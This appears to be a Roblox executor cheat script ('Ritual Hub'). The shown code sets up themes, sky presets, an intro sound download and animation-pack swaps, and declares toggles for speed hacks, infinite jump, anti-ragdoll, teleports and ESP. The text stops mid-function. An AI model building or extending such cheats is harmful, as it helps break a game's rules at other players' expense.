-- cridts to anas
local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Lighting = game:GetService("Lighting")
local HS = game:GetService("HttpService")
local player = Players.LocalPlayer
local _GACC = {}
local introSoundEnabled = true
-- Read the Ritual config, but fall back to an existing Rainy one so the
-- rename does not wipe saved settings. Writes always go to the new file.
_GACC.CFG_FILE = "RitualHub_PC.json"
if isfile and not isfile(_GACC.CFG_FILE) and isfile("RainyHub_PC.json") then
_GACC.CFG_FILE = "RainyHub_PC.json"
end
if isfile and isfile(_GACC.CFG_FILE) then
local ok, data = pcall(function() return HS:JSONDecode(readfile(_GACC.CFG_FILE)) end)
if ok and type(data) == "table" and data.introSoundEnabled ~= nil then
introSoundEnabled = data.introSoundEnabled
end
end
local animEnabled = false
local backgroundEnabled = false
local backgroundIndex = 1
local currentColorTheme = "RAIN"
local THEME_DEFS = {
RAIN = {accent=Color3.fromRGB(82,170,255), accentDark=Color3.fromRGB(35,94,165), accentBg=Color3.fromRGB(7,25,48), accentHover=Color3.fromRGB(18,67,116), accentRowHover=Color3.fromRGB(7,25,43), bgAsset="rbxassetid://100853278968274"},
}
_GACC.playerHighlightEnabled=false
_GACC.backgroundImages={
"rbxassetid://129085053275432",
"rbxassetid://126638309339233",
"rbxassetid://90211231416942",
"rbxassetid://138472956105442",
"rbxassetid://106519139240666",
"rbxassetid://114535932585883",
"rbxassetid://133353928145895",
"rbxassetid://95372928362733",
"rbxassetid://82986133916631",
"rbxassetid://71086942427922",
}
do local _t0=THEME_DEFS[currentColorTheme] or THEME_DEFS.RAIN
_GACC.accent=_t0.accent; _GACC.accentDark=_t0.accentDark
_GACC.accentBg=_t0.accentBg; _GACC.accentHover=_t0.accentHover
_GACC.accentRowHover=_t0.accentRowHover
end
local _themeExtRefs = {}
local _themeStealPills = {}
local function _gAccentGrad(t)
local a=_GACC.accent; local d=_GACC.accentDark
local pulse=math.sin(t*0.7)*0.14
local aR=math.clamp(math.floor(a.R*255*(1+pulse)),0,255)
local aG=math.clamp(math.floor(a.G*255*(1+pulse)),0,255)
local aB=math.clamp(math.floor(a.B*255*(1+pulse)),0,255)
local dR=math.clamp(math.floor(d.R*255*(0.75+pulse*0.25)),0,255)
local dG=math.clamp(math.floor(d.G*255*(0.75+pulse*0.25)),0,255)
local dB=math.clamp(math.floor(d.B*255*(0.75+pulse*0.25)),0,255)
return ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.fromRGB(dR,dG,dB)),
ColorSequenceKeypoint.new(0.3, Color3.fromRGB(aR,aG,aB)),
ColorSequenceKeypoint.new(0.6, Color3.fromRGB(255,255,255)),
ColorSequenceKeypoint.new(0.82,Color3.fromRGB(aR,aG,aB)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(dR,dG,dB))
})
end
if isfile and isfile(_GACC.CFG_FILE) then
local ok2, d2 = pcall(function() return HS:JSONDecode(readfile(_GACC.CFG_FILE)) end)
if ok2 and type(d2)=="table" then
if type(d2.animEnabled)=="boolean" then animEnabled=d2.animEnabled end
if type(d2.backgroundEnabled)=="boolean" then backgroundEnabled=d2.backgroundEnabled end
if type(d2.backgroundIndex)=="number" then backgroundIndex=d2.backgroundIndex end
if type(d2.colorThemeName)=="string" and THEME_DEFS[d2.colorThemeName] then currentColorTheme=d2.colorThemeName end
end
end
-- ========== NEW SCALE VARIABLES ==========
local menuScale = 0.85
local mobileBtnScale = 0.9
local stealBarScale = 1.0
-- ========================================
local introSoundInstance = nil
if introSoundEnabled then
task.spawn(function()
local urlIntro = "https://files.catbox.moe/66xaq4.mp3"
local numeFisier = "ritualhub_intro.mp3"
if not (isfile and isfile(numeFisier)) then
local ok, data = pcall(function() return game:HttpGet(urlIntro) end)
if ok and data then pcall(function() writefile(numeFisier, data) end) end
end
introSoundInstance = Instance.new("Sound")
pcall(function()
introSoundInstance.SoundId = getcustomasset(numeFisier)
introSoundInstance.Volume = 3
introSoundInstance.Looped = false
introSoundInstance.Parent = game:GetService("CoreGui")
introSoundInstance:Play()
end)
end)
end
if false then
task.spawn(function()
task.wait(1.7)
local shaking = true
local shakeConn = RunService.RenderStepped:Connect(function()
if not shaking then return end
local cam = workspace.CurrentCamera
if cam then
local ox = (math.random() * 2 - 1) * 1.8
local oy = (math.random() * 2 - 1) * 1.8
cam.CFrame = cam.CFrame * CFrame.new(ox, oy, 0)
end
end)
task.wait(1.6)
shaking = false
shakeConn:Disconnect()
local introGui = Instance.new("ScreenGui")
introGui.Name = "RitualHubIntroTitle"
introGui.ResetOnSpawn = false
introGui.IgnoreGuiInset = true
introGui.DisplayOrder = 9999
pcall(function() if syn and syn.protect_gui then syn.protect_gui(introGui) end end)
if not pcall(function() introGui.Parent = game:GetService("CoreGui") end) then
introGui.Parent = player:WaitForChild("PlayerGui")
end
local pokerLbl = Instance.new("TextLabel")
pokerLbl.Size = UDim2.new(0.8, 0, 0, 130)
pokerLbl.AnchorPoint = Vector2.new(0.5, 0.5)
pokerLbl.Position = UDim2.new(0.5, 0, 0.5, 0)
pokerLbl.BackgroundTransparency = 1
pokerLbl.RichText = true
pokerLbl.Text = 'RITUAL HUB'
pokerLbl.TextColor3 = Color3.fromRGB(255, 255, 255)
pokerLbl.TextScaled = true
pokerLbl.Font = Enum.Font.GothamBlack
pokerLbl.TextTransparency = 1
pokerLbl.TextStrokeTransparency = 1
pokerLbl.ZIndex = 10
pokerLbl.Parent = introGui
for i = 1, 25 do
pokerLbl.TextTransparency = 1 - (i / 25)
pokerLbl.TextStrokeTransparency = 1 - (i / 25)
task.wait(0.016)
end
pokerLbl.TextTransparency = 0
pokerLbl.TextStrokeTransparency = 0
task.wait(2.5)
for i = 1, 30 do
local a = i / 30
pokerLbl.TextTransparency = a
pokerLbl.TextStrokeTransparency = a
task.wait(0.03)
end
pokerLbl.TextTransparency = 1
task.wait(0.05)
pcall(function() introGui:Destroy() end)
pcall(function() introGui.Parent = nil end)
end)
end
repeat task.wait() until game:IsLoaded()
local CANDY_SKY_TAG = "MoveeSkyTheme"
local currentSkyTheme = "Night"
local CANDY_SKY_PRESETS = {
["Off"]={kind="off"},
["Night"]={clock=22,brightness=2,ambient={110,100,130},outAmb={120,110,140},sky={stars=4000,moon=18,sun=0,moonTex=true},atm={dens=0.45,color={120,60,180},decay={60,20,100},glare=0.5,haze=1.2}},
["Aurora"]={clock=14,brightness=3,ambient={150,120,150},outAmb={160,130,150},atm={dens=0.55,color={255,80,200},decay={255,20,150},glare=2.5,haze=3},clouds={cover=0.7,dens=0.7,color={255,240,250}}},
["Sunset"]={clock=17.2,brightness=2.5,ambient={170,120,100},outAmb={180,130,110},sky={stars=0,sun=25,moon=0},atm={dens=0.5,color={255,130,60},decay={255,80,30},glare=2,haze=2.5},clouds={cover=0.55,dens=0.55,color={255,200,140}}},
["Galaxy"]={clock=0,brightness=1.5,ambient={70,60,100},outAmb={80,70,110},sky={stars=10000,moon=30,sun=0},atm={dens=0.15,color={40,20,80},decay={20,10,50},glare=0.3,haze=0.5}},
["Cyber"]={clock=21,brightness=2.2,ambient={90,130,170},outAmb={100,140,180},sky={stars=2000,moon=12},atm={dens=0.4,color={0,200,255},decay={150,0,255},glare=2,haze=2},clouds={cover=0.4,dens=0.6,color={100,200,255}}},
["Sakura"]={clock=11,brightness=3.5,ambient={170,150,160},outAmb={180,160,170},sky={sun=8},atm={dens=0.3,color={255,200,220},decay={255,170,200},glare=1,haze=1.5},clouds={cover=0.6,dens=0.4,color={255,250,252}}},
["Pink Night"]={clock=23,brightness=2.2,ambient={120,60,110},outAmb={140,70,120},sky={stars=5000,moon=22,sun=0,moonTex=true},atm={dens=0.5,color={255,80,180},decay={140,30,100},glare=0.7,haze=1.4},clouds={cover=0.3,dens=0.5,color={180,90,150}}},
["Blood Moon"]={clock=22.5,brightness=1.6,ambient={130,40,40},outAmb={150,50,50},sky={stars=1500,moon=28,sun=0,moonTex=true},atm={dens=0.6,color={220,30,30},decay={120,10,10},glare=1.4,haze=2},clouds={cover=0.5,dens=0.7,color={120,30,30}}},
["Emerald Dawn"]={clock=6.5,brightness=2.8,ambient={130,170,140},outAmb={140,180,150},sky={sun=18,moon=0,stars=0},atm={dens=0.4,color={80,200,140},decay={40,150,90},glare=1.8,haze=2.2},clouds={cover=0.5,dens=0.5,color={200,255,220}}},
["Volcanic"]={clock=19,brightness=2,ambient={180,80,40},outAmb={200,90,50},sky={stars=200,sun=12,moon=0},atm={dens=0.75,color={255,60,0},decay={180,20,0},glare=3,haze=3.5},clouds={cover=0.8,dens=0.9,color={120,40,20}}},
["Arctic"]={clock=9,brightness=3.2,ambient={200,220,235},outAmb={210,230,245},sky={sun=10,stars=0,moon=0},atm={dens=0.3,color={180,220,255},decay={140,200,240},glare=1.5,haze=1.8},clouds={cover=0.7,dens=0.6,color={250,253,255}}},
["Midnight Ocean"]={clock=1.5,brightness=1.7,ambient={60,90,130},outAmb={70,100,140},sky={stars=6000,moon=24,sun=0,moonTex=true},atm={dens=0.5,color={20,60,140},decay={10,30,90},glare=0.6,haze=1.5}},
["Vaporwave"]={clock=19.5,brightness=2.4,ambient={180,120,200},outAmb={190,130,210},sky={stars=1000,moon=14},atm={dens=0.45,color={255,100,220},decay={120,60,255},glare=2.2,haze=2.4},clouds={cover=0.5,dens=0.55,color={200,150,255}}},
["Toxic"]={clock=13,brightness=2.5,ambient={140,180,80},outAmb={150,190,90},atm={dens=0.55,color={100,220,40},decay={60,150,20},glare=1.8,haze=2.6},clouds={cover=0.65,dens=0.7,color={180,255,120}}},
["Solar Eclipse"]={clock=12,brightness=0.9,ambient={50,40,60},outAmb={60,50,70},sky={stars=3500,sun=22,moon=0},atm={dens=0.5,color={255,140,40},decay={30,20,40},glare=2.8,haze=1.8}},
["Hellscape"]={clock=18,brightness=1.8,ambient={200,60,30},outAmb={220,70,40},sky={stars=100,sun=30,moon=0},atm={dens=0.85,color={255,30,0},decay={120,0,0},glare=3.5,haze=4},clouds={cover=0.95,dens=0.95,color={80,20,10}}},
["Heaven"]={clock=12,brightness=4,ambient={240,235,210},outAmb={250,245,220},sky={sun=16,moon=0,stars=0},atm={dens=0.25,color={255,250,220},decay={255,240,200},glare=3,haze=1.5},clouds={cover=0.85,dens=0.5,color={255,255,255}}},
["Storm"]={clock=15,brightness=1.4,ambient={90,90,110},outAmb={100,100,120},sky={stars=0,sun=6,moon=0},atm={dens=0.65,color={80,90,120},decay={40,50,80},glare=0.5,haze=3},clouds={cover=0.95,dens=0.95,color={60,65,80}}},
["Sunrise"]={clock=6.2,brightness=2.8,ambient={220,180,130},outAmb={230,190,140},sky={sun=22,stars=0,moon=0},atm={dens=0.45,color={255,180,100},decay={255,140,80},glare=2.4,haze=2.2},clouds={cover=0.4,dens=0.4,color={255,220,180}}},
["Deep Space"]={clock=0,brightness=1,ambient={30,25,50},outAmb={40,35,60},sky={stars=15000,moon=0,sun=0},atm={dens=0.08,color={15,5,40},decay={5,0,20},glare=0.2,haze=0.3}},
["Lavender Dream"]={clock=18.5,brightness=2.6,ambient={180,160,220},outAmb={190,170,230},sky={stars=800,moon=16,sun=0},atm={dens=0.4,color={200,160,255},decay={160,120,220},glare=1.4,haze=1.8},clouds={cover=0.55,dens=0.5,color={220,200,255}}},
["Inferno"]={clock=17.5,brightness=2.2,ambient={220,100,40},outAmb={235,110,50},sky={sun=26,moon=0,stars=0},atm={dens=0.6,color={255,90,20},decay={200,40,0},glare=3,haze=3.2},clouds={cover=0.7,dens=0.7,color={200,80,40}}},
["Mint Sky"]={clock=10,brightness=3.2,ambient={180,230,210},outAmb={190,240,220},sky={sun=10},atm={dens=0.32,color={150,255,210},decay={100,220,180},glare=1.6,haze=1.6},clouds={cover=0.55,dens=0.45,color={240,255,250}}},
}
local SkyOrder={"Off","Night","Aurora","Sunset","Galaxy","Cyber","Sakura","Pink Night","Blood Moon","Emerald Dawn","Volcanic","Arctic","Midnight Ocean","Vaporwave","Toxic","Solar Eclipse","Hellscape","Heaven","Storm","Sunrise","Deep Space","Lavender Dream","Inferno","Mint Sky"}
local function candyColor(rgb) return Color3.fromRGB(rgb[1],rgb[2],rgb[3]) end
local function CandyApplyCustomSky(mode)
for _,child in ipairs(Lighting:GetChildren()) do if child:GetAttribute(CANDY_SKY_TAG) then pcall(function() child:Destroy() end) end end
local terrain=workspace:FindFirstChildOfClass("Terrain")
if terrain then for _,child in ipairs(terrain:GetChildren()) do if child:GetAttribute(CANDY_SKY_TAG) then pcall(function() child:Destroy() end) end end end
local preset=CANDY_SKY_PRESETS[mode]
if not preset or preset.kind=="off" then Lighting.ClockTime=14;Lighting.Brightness=2;Lighting.OutdoorAmbient=Color3.fromRGB(127,127,127);Lighting.Ambient=Color3.fromRGB(127,127,127);Lighting.FogEnd=100000;Lighting.GlobalShadows=true;return end
Lighting.FogStart=0;Lighting.FogEnd=100000;Lighting.FogColor=Color3.fromRGB(200,200,200);Lighting.ColorShift_Top=Color3.fromRGB(0,0,0);Lighting.ColorShift_Bottom=Color3.fromRGB(0,0,0);Lighting.GlobalShadows=true
Lighting.ClockTime=preset.clock or 14;Lighting.Brightness=preset.brightness or 2
if preset.outAmb then Lighting.OutdoorAmbient=candyColor(preset.outAmb) end
if preset.ambient then Lighting.Ambient=candyColor(preset.ambient) end
if preset.sky then
local skyInst=Instance.new("Sky");skyInst:SetAttribute(CANDY_SKY_TAG,true)
if preset.sky.stars then skyInst.StarCount=preset.sky.stars end
if preset.sky.moon then skyInst.MoonAngularSize=preset.sky.moon end
if preset.sky.sun then skyInst.SunAngularSize=preset.sky.sun end
if preset.sky.moonTex then skyInst.MoonTextureId="rbxasset://sky/moon.jpg" end
skyInst.Parent=Lighting
end
if preset.atm then
local atm=Instance.new("Atmosphere");atm:SetAttribute(CANDY_SKY_TAG,true)
atm.Density=preset.atm.dens or 0.3;atm.Color=candyColor(preset.atm.color);atm.Decay=candyColor(preset.atm.decay);atm.Glare=preset.atm.glare or 1;atm.Haze=preset.atm.haze or 1;atm.Parent=Lighting
end
if preset.clouds and terrain then
local clouds=Instance.new("Clouds");clouds:SetAttribute(CANDY_SKY_TAG,true)
clouds.Cover=preset.clouds.cover or 0.5;clouds.Density=preset.clouds.dens or 0.5;clouds.Color=candyColor(preset.clouds.color);clouds.Parent=terrain
end
end
local TS=TweenService
local LP=Players.LocalPlayer
local playerGui = LP:WaitForChild("PlayerGui")
local NS,CS=59,29
local LAGGER_SPEED=30
local LAGGER_CARRY_SPEED=15
local carrySpeedActive = false
local laggerModeEnabled = false
local antiRagdollEnabled,infJumpEnabled=false,false
local medusaCounterEnabled,unwalkEnabled=false,false
local medusaDebounce,medusaLastUsed,dropActive=false,0,false
local autoLeftEnabled,autoRightEnabled=false,false
local autoLeftSetVisual,autoRightSetVisual=nil,nil
local speedLabel=nil
local speedModeLabel=nil
local autoBatEnabled=false
local batDesyncTpEnabled=false
local batDesyncTpSetVisual=nil
local autoSwingEnabled=true
local autoMoveSwingEnabled=false
local autoMoveSwingInterval=0.3
local _alSwingDebounce=false
local _arSwingDebounce=false
local autoBatSetVisual=nil
local resetAutoBatMotion=nil
local antiLagEnabled,removeAccessoriesEnabled,antiLagDescConn=false,false,nil
local stretchRezEnabled,stretchRezConn,setStretchRezVisual=false,nil,nil
local unwalkSavedAnimate,_anyKeyListening=nil,false
local autoTPEnabled,autoTPHeight,autoTPConn,setAutoTPVisual=false,20,nil,nil
local guiTransparencyEnabled,mobileButtonsEnabled,mobileButtonsLocked=false,true,false
local mobileButtonsSize=56
local circleButtonsEnabled=false
local stealBarFrame
local mobBtnRefs={}
local mobGuiRef=nil
local fovValue=80
-- Roblox hard-caps Camera.FieldOfView at 120; anything above is ignored.
local fovOptions={70,80,90,100,110,120}
local fovIndex=1
local laggerModePillRef=nil
local carryModePillRef=nil
local autoSwitchSpeedEnabled=false
local mobBtnTransparencyEnabled=false
local perButtonDragEnabled=false
_GACC.autoCarrySpeedEnabled=false
local espEnabled=false
local espObjects={}
local espConnections={}
local ragdollGuiEnabled=true
local persistentRagdollGui=nil
local uiLocked=false
local infJumpMode="manual"
local holdInfJumpConn=nil
-- Green Duels jump-drop tuning
local DROP_ASCEND_DURATION=0.22
local DROP_ASCEND_SPEED=160
local _GuiKeys = nil
local pingNotification = nil
local _perfFps,_perfPing=0,0
-- ========== ANTI DIE ==========
local antiDieEnabled = false
local antiDieConnections = {} -- store all event connections
local antiDieHeartbeat = nil
-- ================================
local bgImageRef = nil
local bgImageContainer = nil
local bgImageCorner = nil
local bgGradientRef = nil
local rainLayerRef = nil
local innerPanelRef = nil
local function applyBackgroundImage()
if not bgImageRef then return end
local theme=THEME_DEFS[currentColorTheme] or THEME_DEFS.RAIN
backgroundIndex=math.clamp(math.floor(tonumber(backgroundIndex) or 1),1,#_GACC.backgroundImages)
local asset=backgroundEnabled and (_GACC.backgroundImages[backgroundIndex] or theme.bgAsset or "") or ""
if asset~="" and not string.find(asset,"rbxassetid://",1,true) then asset="rbxassetid://"..asset end
local hasImage=asset~=""
bgImageRef.Image=asset; bgImageRef.ImageTransparency=hasImage and .18 or 1; bgImageRef.Visible=hasImage; bgImageRef.Size=UDim2.new(1,0,1,0); bgImageRef.ScaleType=Enum.ScaleType.Crop
if innerPanelRef then innerPanelRef.BackgroundTransparency=.74 end
if bgGradientRef then bgGradientRef.BackgroundTransparency=1 end
if rainLayerRef then rainLayerRef.Visible=false end
end
local RembembiAnims = {
WalkAnim = 73718308412641,
RunAnim = 135515454877967,
JumpAnim = 78508480717326,
FallAnim = 78147885297412,
SwimIdle = 129183123083281,
Swim = 110657013921774,
ClimbAnim = 129447497744818,
Animation1 = 92849173543269,
Animation2 = 132238900951109,
}
local startAnimToggle, stopAnimToggle
local AnimRefs = {
heartbeat=nil,
savedAnimate=nil,
originalAnims=nil,
originalCharacter=nil,
generation=0,
}
do
local LP_anim = Players.LocalPlayer
local function isRembembiAnim(id)
if not id then return false end
for _,v in pairs(RembembiAnims) do if v == id then return true end end
return false
end
local function saveOriginalAnims(char)
local animate = char:FindFirstChild("Animate")
if not animate then return end
local function g(obj) return obj and obj.AnimationId or nil end
local ids = {
walk=g(animate.walk and animate.walk.WalkAnim),
run=g(animate.run and animate.run.RunAnim),
jump=g(animate.jump and animate.jump.JumpAnim),
fall=g(animate.fall and animate.fall.FallAnim),
climb=g(animate.climb and animate.climb.ClimbAnim),
swim=g(animate.swim and animate.swim.Swim),
swimidle=g(animate.swimidle and animate.swimidle.SwimIdle),
idle1=g(animate.idle and animate.idle.Animation1),
idle2=g(animate.idle and animate.idle.Animation2),
}
if AnimRefs.originalCharacter ~= char or not AnimRefs.originalAnims then
AnimRefs.originalAnims = ids
AnimRefs.originalCharacter = char
end
end
local function applyRembembiAnims(char)
local animate = char:FindFirstChild("Animate")
if not animate then return end
local function s(obj, id) if obj then obj.AnimationId = "rbxassetid://" .. id end end
s(animate.walk and animate.walk.WalkAnim, RembembiAnims.WalkAnim)
s(animate.run and animate.run.RunAnim, RembembiAnims.RunAnim)
s(animate.jump and animate.jump.JumpAnim, RembembiAnims.JumpAnim)
s(animate.fall and animate.fall.FallAnim, RembembiAnims.FallAnim)
s(animate.climb and animate.climb.ClimbAnim, RembembiAnims.ClimbAnim)
s(animate.swim and animate.swim.Swim, RembembiAnims.Swim)
s(animate.swimidle and animate.swimidle.SwimIdle, RembembiAnims.SwimIdle)
s(animate.idle and animate.idle.Animation1, RembembiAnims.Animation1)
s(animate.idle and animate.idle.Animation2, RembembiAnims.Animation2)
end
local function restoreOriginalAnims(char)
local orig = AnimRefs.originalAnims
if not orig then return end
local animate = char:FindFirstChild("Animate")
if not animate then return end
local function s(obj, id) if obj and id then obj.AnimationId = id end end
s(animate.walk and animate.walk.WalkAnim, orig.walk)
s(animate.run and animate.run.RunAnim, orig.run)
s(animate.jump and animate.jump.JumpAnim, orig.jump)
s(animate.fall and animate.fall.FallAnim, orig.fall)
s(animate.climb and animate.climb.ClimbAnim, orig.climb)
s(animate.swim and animate.swim.Swim, orig.swim)
s(animate.swimidle and animate.swimidle.SwimIdle, orig.swimidle)
s(animate.idle and animate.idle.Animation1, orig.idle1)
s(animate.idle and animate.idle.Animation2, orig.idle2)
end
function startAnimToggle()
if AnimRefs.heartbeat then AnimRefs.heartbeat:Disconnect(); AnimRefs.heartbeat = nil end
local char = LP_anim.Character
if char then saveOriginalAnims(char); applyRembembiAnims(char) end
AnimRefs.heartbeat = RunService.Heartbeat:Connect(function()
if not animEnabled then return end
local c = LP_anim.Character
if c then applyRembembiAnims(c) end
end)
end
function stopAnimToggle()
if AnimRefs.heartbeat then AnimRefs.heartbeat:Disconnect(); AnimRefs.heartbeat = nil end
local char = LP_anim.Character
if char then restoreOriginalAnims(char) end
end
end
_GACC.extras={}
do
local ANIMATION_PACKS={
["Adidas Sports"]={WalkAnim=18537392113,RunAnim=18537384940,JumpAnim=18537380791,FallAnim=18537367238,SwimIdle=18537387180,Swim=18537389531,Animation1=18537376492,Animation2=18537371272,ClimbAnim=18537363391},
["Adidas Community"]={WalkAnim=122150855457006,RunAnim=82598234841035,JumpAnim=75290611992385,FallAnim=98600215928904,SwimIdle=109346520324160,Swim=133308483266208,Animation1=122257458498464,Animation2=102357151005774,ClimbAnim=88763136693023},
["Adidas Aura"]={WalkAnim=83842218823011,RunAnim=118320322718866,JumpAnim=109996626521204,FallAnim=95603166884636,SwimIdle=94922130551805,Swim=134530128383903,Animation1=110211186840347,Animation2=114191137265065,ClimbAnim=97824616490448},
["Wicked Popular"]={WalkAnim=92072849924640,RunAnim=72301599441680,JumpAnim=104325245285198,FallAnim=121152442762481,Animation1=118832222982049,ClimbAnim=131326830509784,SwimIdle=113199415118199,Swim=99384245425157,Animation2=76049494037641},
Elder={WalkAnim=10921111375,RunAnim=10921104374,JumpAnim=10921107367,FallAnim=10921105765,SwimIdle=10921110146,Swim=10921108971,ClimbAnim=10921100400,Animation1=10921101664,Animation2=10921102574},
Zombie={WalkAnim=10921355261,RunAnim=616163682,JumpAnim=10921351278,FallAnim=10921350320,SwimIdle=10921353442,Swim=10921352344,Animation1=10921344533,Animation2=10921345304,ClimbAnim=10921343576},
Mage={WalkAnim=10921152678,RunAnim=10921148209,JumpAnim=10921149743,FallAnim=10921148939,SwimIdle=10921151661,Swim=10921150788,ClimbAnim=10921143404,Animation1=10921144709,Animation2=10921145797},
["Catwalk Glam"]={WalkAnim=109168724482748,RunAnim=81024476153754,JumpAnim=116936326516985,FallAnim=92294537340807,SwimIdle=98854111361360,Swim=134591743181628,ClimbAnim=119377220967554,Animation1=133806214992291,Animation2=94970088341563},
Astronaut={WalkAnim=10921046031,RunAnim=10921039308,JumpAnim=10921042494,FallAnim=10921040576,SwimIdle=10921045006,Swim=10921044000,ClimbAnim=10921032124,Animation1=10921034824,Animation2=10921036806},
['Wicked "Dancing Through Life"']={WalkAnim=73718308412641,RunAnim=135515454877967,JumpAnim=78508480717326,FallAnim=78147885297412,SwimIdle=129183123083281,Swim=110657013921774,ClimbAnim=129447497744818,Animation1=92849173543269,Animation2=132238900951109},
Werewolf={WalkAnim=10921342074,RunAnim=10921336997,FallAnim=10921337907,SwimIdle=10921341319,Swim=10921340419,ClimbAnim=10921329322,Animation1=10921330408,Animation2=10921333667},
Superhero={WalkAnim=10921298616,RunAnim=10921291831,JumpAnim=10921294559,FallAnim=10921293373,SwimIdle=10921297391,Swim=10921295495,ClimbAnim=10921286911,Animation1=10921288909,Animation2=10921290167},
Toy={WalkAnim=10921312010,RunAnim=10921306285,JumpAnim=10921308158,FallAnim=10921307241,SwimIdle=10921310341,Swim=10921309319,ClimbAnim=10921300839,Animation1=10921301576},
["No Boundaries"]={WalkAnim=18747074203,RunAnim=18747070484,JumpAnim=18747069148,FallAnim=18747062535,SwimIdle=18747071682,Swim=18747073181,ClimbAnim=18747060903,Animation1=18747067405,Animation2=18747063918},
NFL={WalkAnim=110358958299415,RunAnim=117333533048078,JumpAnim=119846112151352,FallAnim=129773241321032,SwimIdle=79090109939093,Swim=132697394189921,ClimbAnim=134630013742019,Animation1=92080889861410,Animation2=74451233229259},
["Amazon Unboxed"]={WalkAnim=90478085024465,RunAnim=134824450619865,JumpAnim=121454505477205,FallAnim=94788218468396,SwimIdle=129126268464847,Swim=105962919001086,ClimbAnim=121145883950231,Animation1=98281136301627},
Vampire={WalkAnim=10921326949,RunAnim=10921320299,JumpAnim=10921322186,FallAnim=10921321317,SwimIdle=10921325443,Swim=10921324408,ClimbAnim=10921314188,Animation1=10921315373},
Ninja={Run=656118852,Walk=656121766,Jump=656117878,Fall=656115606,Swim=656119721,SwimIdle=656121397,Climb=656114359,Idle={656117400,656118341,886742569}},
Robot={Run=616091570,Walk=616095330,Jump=616090535,Fall=616087089,Swim=616092998,SwimIdle=616094091,Climb=616086039,Idle={616088211,616089559,885531463}},
Levitation={Run=616010382,Walk=616013216,Jump=616008936,Fall=616005863,Swim=616011509,SwimIdle=616012453,Climb=616003713,Idle={616006778,616008087,886862142}},
Stylish={Run=616140816,Walk=616146177,Jump=616139451,Fall=616134815,Swim=616143378,SwimIdle=616144772,Climb=616133594,Idle={616136790,616138447,886888594}},
Bubbly={Run=910025107,Walk=910034870,Jump=910016857,Fall=910001910,Swim=910028158,SwimIdle=910030921,Climb=909997997,Idle={910004836,910009958,1018536639}},
Cartoon={Run=742638842,Walk=742640026,Jump=742637942,Fall=742637151,Swim=742639220,SwimIdle=742639812,Climb=742636889,Idle={742637544,742638445,885477856}},
}
local selectedAnimPack="Adidas Sports"
local headlessEnabled=false
local korbloxEnabled=false
local HEADLESS_MESH_ID="rbxassetid://1095708"
local KORBLOX_MESH_ID="rbxassetid://101851696"
local KORBLOX_TEXTURE_ID="rbxassetid://101851254"
local cosmeticState=setmetatable({},{__mode="k"})
local function animPick(pack,...)
for i=1,select("#",...) do local v=pack[select(i,...)]; if v~=nil then return v end end
end
local function ensureAnimation(folder,name)
if not folder then return nil end
local obj=folder:FindFirstChild(name)
if not obj then obj=Instance.new("Animation"); obj.Name=name; obj.Parent=folder end
return obj
end
local applyingAnimPack=false
local function capturePackOriginals(char)
if AnimRefs.originalCharacter==char and AnimRefs.originalAnims then return end
local animate=char and char:FindFirstChild("Animate")
if not animate then return end
local function id(folder,name)
local f=animate:FindFirstChild(folder); local obj=f and f:FindFirstChild(name)
return obj and obj.AnimationId or nil
end
AnimRefs.originalAnims={
walk=id("walk","WalkAnim"), run=id("run","RunAnim"), jump=id("jump","JumpAnim"),
fall=id("fall","FallAnim"), climb=id("climb","ClimbAnim"), swim=id("swim","Swim"),
swimidle=id("swimidle","SwimIdle"), idle1=id("idle","Animation1"), idle2=id("idle","Animation2"),
}
AnimRefs.originalCharacter=char
end
local function restorePackOriginals(char)
local animate=char and char:FindFirstChild("Animate")
if not animate then return false end
local orig=AnimRefs.originalAnims
-- If no snapshot is available, fall back to Roblox's standard R15 set.
local defaults={
walk=orig and orig.walk or "rbxassetid://913402848",
run=orig and orig.run or "rbxassetid://913376220",
jump=orig and orig.jump or "rbxassetid://125750702",
fall=orig and orig.fall or "rbxassetid://913389285",
climb=orig and orig.climb or "rbxassetid://913386991",
swim=orig and orig.swim or "rbxassetid://913412306",
swimidle=orig and orig.swimidle or "rbxassetid://913415072",
idle1=orig and orig.idle1 or "rbxassetid://913402848",
idle2=orig and orig.idle2 or "rbxassetid://913402848",
}
local function set(folder,name,value)
local f=animate:FindFirstChild(folder); local obj=f and f:FindFirstChild(name)
if obj and value then obj.AnimationId=value end
end
set("walk","WalkAnim",defaults.walk); set("run","RunAnim",defaults.run); set("jump","JumpAnim",defaults.jump)
set("fall","FallAnim",defaults.fall); set("climb","ClimbAnim",defaults.climb); set("swim","Swim",defaults.swim)
set("swimidle","SwimIdle",defaults.swimidle); set("idle","Animation1",defaults.idle1); set("idle","Animation2",defaults.idle2)
return true
end
local function stopTracks(hum)
if not hum then return end
for _,track in ipairs(hum:GetPlayingAnimationTracks()) do pcall(function() track:Stop(0) end) end
end
local function restartAnimate(animate,hum)
if animate then
pcall(function()
animate.Disabled=true
task.wait(.15)
animate.Disabled=false
end)
end
if hum then
stopTracks(hum)
pcall(function()
hum:ChangeState(Enum.HumanoidStateType.Landed)
task.wait(.05)
hum:ChangeState(Enum.HumanoidStateType.Running)
end)
end
end
local function applyAnimationPack(packName,char)
if applyingAnimPack then return false end
char=char or LP.Character
if not char then return false end
local animate=char:FindFirstChild("Animate")
if not animate then return false end
local hum=char:FindFirstChildOfClass("Humanoid")
applyingAnimPack=true
AnimRefs.generation=AnimRefs.generation+1
local myGeneration=AnimRefs.generation
capturePackOriginals(char)
stopTracks(hum)
if packName=="Off" or packName==nil or packName=="" then
animEnabled=false
restorePackOriginals(char)
selectedAnimPack="Off"
restartAnimate(animate,hum)
applyingAnimPack=false
return true
end
local pack=ANIMATION_PACKS[packName]
if not pack then applyingAnimPack=false; return false end
local ready=false
for _=1,40 do
animate=char:FindFirstChild("Animate")
if animate and animate:FindFirstChild("idle") and animate:FindFirstChild("run") and animate:FindFirstChild("walk") then ready=true; break end
task.wait(.1)
if AnimRefs.generation~=myGeneration then applyingAnimPack=false; return false end
end
if not ready then applyingAnimPack=false; return false end
local function set(folder,name,id)
local f=animate:FindFirstChild(folder); local obj=f and f:FindFirstChild(name)
if not obj then obj=ensureAnimation(f,name) end
if obj and id then obj.AnimationId="rbxassetid://"..tostring(id) end
end
set("walk","WalkAnim",animPick(pack,"WalkAnim","Walk")); set("run","RunAnim",animPick(pack,"RunAnim","Run"))
set("jump","JumpAnim",animPick(pack,"JumpAnim","Jump")); set("fall","FallAnim",animPick(pack,"FallAnim","Fall"))
